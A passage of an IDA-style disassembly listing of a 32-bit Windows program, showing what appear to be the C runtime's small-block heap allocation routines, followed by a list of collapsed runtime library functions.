		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	ds:dword_4271C0	; VirtualFree


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFE4
		call	ds:dword_427140	; RtlFreeHeap


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	ds:dword_4271C0	; VirtualFree
		cmp	off_43C9D0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9D0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFE4
		call	ds:dword_427140	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A9C0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A9B4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	ds:dword_4271C0	; VirtualFree
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9D4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A9B4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A9B0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9D4
		cmp	dword_4DB9D4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

Val		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9D0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+Val], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+Val]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9D0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9D0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A9B0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+Val], eax
		call	ds:dword_4271C4	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0		; Size
		push	[ebp+Val]	; Val
		push	esi		; Dst
		call	_memset
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9D0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9D0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp

; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf.	PRESS KEYPAD "+" TO EXPAND]
; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS	KEYPAD "+" TO EXPAND]
; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD	"+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf.	PRESS KEYPAD "+" TO EXPAND]
; [00000721 BYTES: COLLAPSED FUNCTION __output.	PRESS KEYPAD "+" TO EXPAND]
off_41FDC0	dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882
; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD	"+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO	EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO	EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS	KEYPAD "+" TO EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper.	PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD	"+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+"	TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+"	TO EXPAND]
; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+"	TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS	KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __un_inc.	PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS	KEYPAD "+" TO EXPAND]
; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
; [00000098 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
; [000002B3 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD	"+" TO EXPAND]
; [00000217 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO	EXPAND]
; [00000088 BYTES: COLLAPSED FUNCTION __umatherr. PRESS	KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD	"+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD	"+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __sptype.	PRESS KEYPAD "+" TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION __decomp.	PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION __statfp.	PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __ctrlfp.	PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO	EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO	EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD	"+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD	"+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS	KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+"	TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+"	TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+"	TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+"	TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS	KEYPAD "+" TO EXPAND]
; [000001A7 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS	KEYPAD "+" TO EXPAND]
